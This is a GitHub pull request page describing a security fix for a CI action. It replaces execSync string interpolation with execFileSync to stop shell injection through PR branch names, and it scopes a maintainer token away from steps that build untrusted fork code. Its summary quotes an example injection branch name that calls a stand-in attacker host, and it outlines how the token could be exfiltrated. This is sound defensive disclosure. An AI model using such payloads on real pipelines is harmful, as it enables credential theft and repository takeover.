fix: eliminate shell injection and scope PAT to only steps that need it - #208
Open
ash-thakur-rh wants to merge 3 commits into
Open
Conversation
Replace child_process.execSync(templateString) with child_process.execFileSync(cmd, argsArray) in pull-requests.js and action-checkout.js to prevent OS command injection via attacker-controlled PR branch names (CWE-78). Remove the workflow-level ACCESS_TOKEN env var from e2e.yml and add it only as step-level env on the specific steps that need GitHub API access (init, resolve-pr, update-status). Clone and build steps no longer have the PAT in their process environment, preventing exfiltration via malicious pom.xml or branch-name payloads (CWE-522, CWE-829). Split the monolithic "checkout" workflow step into "resolve-pr" (needs token, writes PR metadata to file) and "clone-and-install" (no token, reads metadata, clones fork, runs Maven build). This ensures the privileged credential is never present during execution of untrusted code. Make config.auth a lazy getter so modules that do not need the token can load without ACCESS_TOKEN in the environment. Change index.js to lazy-require action modules so only the invoked action's dependency tree is loaded.
- pull-requests: verify execFileSync with array args, malicious branch name passed literally, error handling - action-resolve-pr: verify metadata file written with correct content, malicious ref preserved literally - action-clone-and-install: verify execFileSync calls for git clone, mvn install, and IT clone with metadata values, malicious branch literal
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
This PR fixes a vulnerability where:
Shell command injection via PR branch name —
child_process.execSync()with string interpolation inpull-requests.js:17allows an attacker to inject shell commands through a crafted branch name (e.g.,x$(curl${IFS}attacker.example)). Double-quoting does not prevent$()command substitution.Arbitrary code execution via fork's pom.xml —
action-checkout.js:23runsmvn clean installon attacker-controlled fork source, which is arbitrary code execution by design.PAT exposed to untrusted code —
ACCESS_TOKEN(a maintainer PAT) is set at workflow level ine2e.yml, making it available to all steps including those that clone and build untrusted fork content.Both vectors allow an unauthenticated GitHub user who opens a PR to exfiltrate the maintainer PAT within seconds (via the automatic
repository_dispatchwebhook), gaining write access to Eclipse JKube repositories.Changes
Layer 1 — Eliminate shell injection sinks:
execSync(templateString)withexecFileSync(cmd, argsArray)inpull-requests.jsandaction-checkout.js. The array form bypasses/bin/shentirely, so$(), backticks, and other shell metacharacters in branch names are treated as literal strings.Layer 2 — Scope the PAT:
ACCESS_TOKENenv var frome2e.yml.env: ACCESS_TOKENonly on steps that call the GitHub API (init,resolve-pr,update-status,teardown).checkoutstep into:resolve-pr(needs token) — callsoctokit.pulls.get(), writes PR metadata (clone URL + branch ref) topr-metadata.json.clone-and-install(no token) — reads the metadata file, runsgit cloneandmvn install. The PAT is never in this step's process environment.config.autha lazy getter so modules that don't need the token can load withoutACCESS_TOKENset.index.jsto lazy-require action modules so only the invoked action's dependency tree is loaded.Defense in depth: Even if one layer is bypassed, the other still protects.
execFileSyncprevents injection even if the token were present; scoping the token prevents exfiltration even if injection were possible.Files changed
src/pull-requests.jsexecSync→execFileSyncsrc/action-checkout.jsexecSync→execFileSync(3 sinks)src/config.jsauth: computeAuth()→get auth() { return computeAuth(); }src/index.jssrc/action-resolve-pr.jssrc/action-clone-and-install.js.github/workflows/e2e.ymltests/pull-requests.test.jstests/action-resolve-pr.test.jstests/action-clone-and-install.test.jsTest plan
execFileSyncusage, malicious branch name handling, metadata write/read, and error scenariosresolve-praction writespr-metadata.jsoncorrectly when triggered with a real PRclone-and-installaction reads metadata and clones/builds successfullyupdate-statussteps still post PR comments correctlyworkflow_dispatch